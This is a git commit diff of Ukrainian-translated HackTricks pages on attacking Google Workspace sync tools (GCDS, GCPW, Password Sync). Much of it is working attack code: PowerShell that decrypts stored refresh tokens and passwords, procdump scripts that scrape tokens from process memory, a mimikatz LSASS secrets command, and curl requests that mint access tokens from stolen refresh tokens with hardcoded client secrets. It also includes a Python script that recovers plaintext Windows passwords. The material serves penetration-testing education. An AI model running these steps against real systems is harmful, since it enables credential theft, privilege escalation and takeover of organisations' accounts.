mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 06:42:39 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -49,12 +49,12 @@
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
Зверніть увагу, як **refresh** **token** та **password** користувача **шифруються** за допомогою **AES CBC** з випадково згенерованим ключем та IV, які зберігаються в **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (де б не зберігала бібліотека **`prefs`** Java налаштування) у рядкових ключах **`/Encryption/Policy/V2.iv`** та **`/Encryption/Policy/V2.key`**, збережених у base64.
|
||||
Зверніть увагу, що **refresh** **token** та **password** користувача **шифруються** за допомогою **AES CBC** з випадково згенерованим ключем та IV, які зберігаються в **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (де б не зберігала бібліотека **`prefs`** Java налаштування) у рядкових ключах **`/Encryption/Policy/V2.iv`** та **`/Encryption/Policy/V2.key`**, збережених у base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell скрипт для розшифрування refresh token та пароля</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -150,7 +150,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який бінарний файл `upgrade-config.exe` очікує для виведення ключів).
|
||||
> Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який очікує бінарний файл `upgrade-config.exe` для виведення ключів).
|
||||
|
||||
Замість використання скрипта PowerShell, також можна використовувати бінарний файл **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** з параметром `-exportKeys` і отримати **Key** та **IV** з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифрування інформації.
|
||||
|
||||
@@ -162,7 +162,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
<details>
|
||||
|
||||
<summary>Виведення процесів config-manager.exe та пошук токенів</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
### GCDS - Генерація токенів доступу з токенів оновлення
|
||||
|
||||
Використовуючи токен оновлення, можна генерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -248,11 +248,11 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GCDS - Сфери
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
> Зверніть увагу, що навіть маючи refresh token, неможливо запитати будь-яку сферу для access token, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте access token**.
|
||||
>
|
||||
> Крім того, токен оновлення не є дійсним у кожному додатку.
|
||||
> Крім того, refresh token не є дійсним у кожному додатку.
|
||||
|
||||
За замовчуванням GCSD не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
За замовчуванням GCSD не матиме доступу як користувач до кожної можливої OAuth сфери, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -321,6 +321,6 @@ curl -X POST \
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Неможливо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
|
||||
> Неприпустимо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Нові рядки були додані для покращення читабельності.
|
||||
|
||||
> [!NOTE]
|
||||
> Було можливим виконати MitM, встановивши `Proxifier` на ПК, перезаписавши бінарний файл `utilman.exe` на `cmd.exe` і запустивши **функції доступності** на сторінці входу в Windows, що виконає **CMD**, з якого ви можете **запустити та налаштувати Proxifier**.\
|
||||
> Не забудьте **блокувати QUICK UDP** трафік у `Proxifier`, щоб він знижувався до TCP зв'язку, і ви могли його бачити.
|
||||
> Було можливим виконати MitM, встановивши `Proxifier` на ПК, перезаписавши бінарний файл `utilman.exe` на `cmd.exe` та запустивши **функції доступності** на сторінці входу в Windows, що виконає **CMD**, з якого ви можете **запустити та налаштувати Proxifier**.\
|
||||
> Не забудьте **блокувати QUICK UDP** трафік у `Proxifier`, щоб він знизився до TCP-комунікації, і ви могли його бачити.
|
||||
>
|
||||
> Також налаштуйте в "Служби та інші користувачі" обидві опції та встановіть сертифікат Burp CA в Windows.
|
||||
|
||||
Крім того, додавши ключі `enable_verbose_logging = 1` та `log_file_path = C:\Public\gcpw.log` в **`HKLM:\SOFTWARE\Google\GCPW`**, можна зберігати деякі журнали.
|
||||
Більше того, додавши ключі `enable_verbose_logging = 1` та `log_file_path = C:\Public\gcpw.log` в **`HKLM:\SOFTWARE\Google\GCPW`**, можна зберігати деякі журнали.
|
||||
|
||||
### GCPW - Відбиток
|
||||
|
||||
Можна перевірити, чи встановлено GCPW на пристрої, перевіривши, чи існує наступний процес або чи існують наступні ключі реєстру:
|
||||
```powershell
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -111,7 +109,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
<details>
|
||||
|
||||
<summary>Отримати <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> дані та розшифрувати refresh_tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
|
||||
|
||||
Більше того, шифрування можна знайти в цьому коді: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на цей момент), потім [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac 16B**.
|
||||
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на даний момент), потім [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac 16B**.
|
||||
|
||||
### GCPW - Витягування токенів з пам'яті процесів
|
||||
### GCPW - Витяг токенів з пам'яті процесів
|
||||
|
||||
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome**, використовуючи `procdump`, витягувати **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
|
||||
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome** за допомогою `procdump`, витягти **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Витягнути процеси Chrome та шукати токени</summary>
|
||||
```powershell
|
||||
<summary>Витягти процеси Chrome та шукати токени</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
Я спробував те ж саме з `gcpw_extension.exe`, але він не знайшов жодного токена.
|
||||
|
||||
З якоїсь причини, **деякі витягнуті токени доступу не будуть дійсними (хоча деякі будуть)**. Я спробував наступний скрипт, щоб видаляти символи по одному, щоб спробувати отримати дійсний токен з дампу. Це ніколи не допомагало мені знайти дійсний, але, можливо, це може:
|
||||
З якоїсь причини, **деякі витягнуті токени доступу не будуть дійсними (хоча деякі будуть)**. Я спробував наступний скрипт, щоб видаляти символи по одному, щоб спробувати отримати дійсний токен з дампу. Це ніколи не допомагало мені знайти дійсний, але, можливо, це спрацює:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Перевірте токен доступу, видаляючи символи по одному</summary>
|
||||
<summary>Перевірка токена доступу, видаляючи символи по одному</summary>
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -312,7 +310,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GCPW - Сфери
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати будь-яку сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
>
|
||||
> Крім того, токен оновлення не є дійсним у кожному додатку.
|
||||
|
||||
@@ -468,7 +466,7 @@ https://www.googleapis.com/auth/wallet.chrome
|
||||
// OAuth2 scope for access to all Google APIs.
|
||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||
```
|
||||
Однак я намагався використати цей обсяг для доступу до gmail або списку груп, і це не спрацювало, тому я не знаю, наскільки це все ще корисно.
|
||||
Однак я намагався використати цей обсяг для доступу до gmail або для переліку груп, і це не спрацювало, тому я не знаю, наскільки це все ще корисно.
|
||||
|
||||
**Отримати токен доступу з усіма цими обсягами**:
|
||||
|
||||
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
@@ -763,7 +761,7 @@ curl -X POST \
|
||||
**Google Workspace Vault** - це додаток для Google Workspace, який надає інструменти для зберігання даних, пошуку та експорту даних вашої організації, збережених у службах Google Workspace, таких як Gmail, Drive, Chat та інші.
|
||||
|
||||
- **Справа** в Google Workspace Vault - це **контейнер**, який організовує та групує всю інформацію, пов'язану з конкретною справою, розслідуванням або юридичною справою. Він слугує центральним вузлом для управління **Утриманнями**, **Пошуками** та **Експортами**, що стосуються цієї конкретної проблеми.
|
||||
- **Утримання** в Google Workspace Vault - це **дія збереження**, що застосовується до конкретних користувачів або груп, щоб **запобігти видаленню або зміні** їхніх даних у службах Google Workspace. Утримання забезпечують збереження відповідної інформації в цілості та незмінності протягом тривалості юридичної справи або розслідування.
|
||||
- **Утримання** в Google Workspace Vault - це **дія збереження**, застосована до конкретних користувачів або груп, щоб **запобігти видаленню або зміні** їхніх даних у службах Google Workspace. Утримання забезпечують, щоб відповідна інформація залишалася незмінною та не модифікованою протягом юридичної справи або розслідування.
|
||||
```bash
|
||||
# List matters
|
||||
curl -X GET \
|
||||
@@ -795,9 +793,9 @@ curl -X GET \
|
||||
|
||||
</details>
|
||||
|
||||
## GCPW - Відновлення пароля у відкритому тексті
|
||||
## GCPW - Відновлення пароля у відкритому вигляді
|
||||
|
||||
Щоб зловживати GCPW для відновлення пароля у відкритому тексті, можна вивантажити зашифрований пароль з **LSASS** за допомогою **mimikatz**:
|
||||
Щоб зловживати GCPW для відновлення пароля у відкритому вигляді, можна вивантажити зашифрований пароль з **LSASS** за допомогою **mimikatz**:
|
||||
```bash
|
||||
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
|
||||
```
|
||||
@@ -809,7 +807,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Скрипт для отримання пароля у відкритому тексті, враховуючи токен доступу, зашифрований пароль та ідентифікатор ресурсу</summary>
|
||||
<summary>Скрипт для отримання пароля у відкритому тексті, given токен доступу, зашифрований пароль та ідентифікатор ресурсу</summary>
|
||||
```python
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
@@ -885,7 +883,7 @@ decrypt_password(access_token, lsa_secret)
|
||||
```
|
||||
</details>
|
||||
|
||||
Можливо знайти ключові компоненти цього в вихідному коді Chromium:
|
||||
Можна знайти ключові компоненти цього в вихідному коді Chromium:
|
||||
|
||||
- API домен: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
|
||||
- API кінцева точка: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
|
||||
|
||||
@@ -14,13 +14,13 @@
|
||||
|
||||
- Увійдіть через **OAuth** з Google, після чого він **зберігатиме токен у реєстрі (зашифрований)**
|
||||
- Доступно лише на контролерах домену з GUI
|
||||
- Надання деяких **облікових даних служби з GCP** (json файл) з правами на **управління користувачами Workspace**
|
||||
- Надати деякі **облікові дані служби з GCP** (json файл) з правами на **управління користувачами Workspace**
|
||||
- Дуже погана ідея, оскільки ці облікові дані ніколи не закінчуються і можуть бути зловживані
|
||||
- Дуже погана ідея надавати SA доступ до Workspace, оскільки SA може бути скомпрометований у GCP, і це може дозволити перейти до Workspace
|
||||
- Google вимагає це для контролю домену без GUI
|
||||
- Ці облікові дані також зберігаються в реєстрі
|
||||
|
||||
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано варіант облікових даних, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
|
||||
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано варіант з обліковими даними, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
|
||||
|
||||
### GPS - Витяг пароля та токена з диска
|
||||
|
||||
@@ -29,30 +29,30 @@
|
||||
|
||||
У файлі **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** можна знайти частину конфігурації, таку як **`baseDN`** налаштованого AD та **`username`**, облікові дані якого використовуються.
|
||||
|
||||
У реєстрі **`HKLM\Software\Google\Google Apps Password Sync`** можна знайти **зашифрований токен оновлення** та **зашифрований пароль** для користувача AD (якщо є). Більше того, якщо замість токена використовуються деякі **облікові дані SA**, також можливо знайти їх зашифрованими за цією адресою реєстру. **Значення** в цьому реєстрі доступні лише **адміністраторам**.
|
||||
У реєстрі **`HKLM\Software\Google\Google Apps Password Sync`** можна знайти **зашифрований токен оновлення** та **зашифрований пароль** для користувача AD (якщо є). Більше того, якщо замість токена використовуються деякі **облікові дані SA**, також можна знайти їх зашифрованими за цією адресою реєстру. **Значення** в цьому реєстрі доступні лише **адміністраторам**.
|
||||
|
||||
Зашифрований **пароль** (якщо є) знаходиться в ключі **`ADPassword`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
Зашифрований токен (якщо є) знаходиться в ключі **`AuthToken`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Більше того, він також кодується за допомогою base32hex з словником **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, а інструмент **показуватиме значення для використаної ентропії** в обох випадках:
|
||||
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, і інструмент **показуватиме значення для використаної ентропії** в обох випадках:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Зверніть увагу, що також можливо побачити **розшифровані** значення в введенні або виході викликів до цих API (в разі, якщо в якийсь момент Winpeas перестане працювати).
|
||||
Зверніть увагу, що також можливо побачити **розшифровані** значення вхідних або вихідних даних викликів до цих API (в разі, якщо в якийсь момент Winpeas перестане працювати).
|
||||
|
||||
У разі, якщо синхронізація паролів була **налаштована з обліковими даними SA**, вона також буде зберігатися в ключах у реєстрі **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Витяг токенів з пам'яті
|
||||
|
||||
Так само, як і з GCPW, можливо витягти пам'ять процесу `PasswordSync.exe` та процесу `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Так само, як і з GCPW, можливо витягти пам'ять процесу `PasswordSync.exe` та `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Я думаю, ви також могли б знайти налаштовані облікові дані AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Витягніть <code>PasswordSync.exe</code> та <code>password_sync_service.exe</code> процеси та шукайте токени</summary>
|
||||
```powershell
|
||||
<summary>Витягти <code>PasswordSync.exe</code> та <code>password_sync_service.exe</code> процеси та шукати токени</summary>
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -129,7 +129,7 @@ Write-Output ""
|
||||
|
||||
### GPS - Генерація токенів доступу з токенів оновлення
|
||||
|
||||
Використовуючи токен оновлення, можна генерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
@@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GPS - Сфери
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати будь-яку сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
>
|
||||
> Крім того, токен оновлення не є дійсним у кожному додатку.
|
||||
|
||||
За замовчуванням GPS не матиме доступу як користувач до кожної можливої OAuth сфери, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
За замовчуванням GPS не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
|
||||
Який є тим самим, що ви отримуєте, якщо не вказати жодної області.
|
||||
|
||||
> [!CAUTION]
|
||||
> З цією областю ви могли б **змінити пароль існуючого користувача для підвищення привілеїв**.
|
||||
> З цією областю ви могли б **змінити пароль існуючого користувача для ескалації привілеїв**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user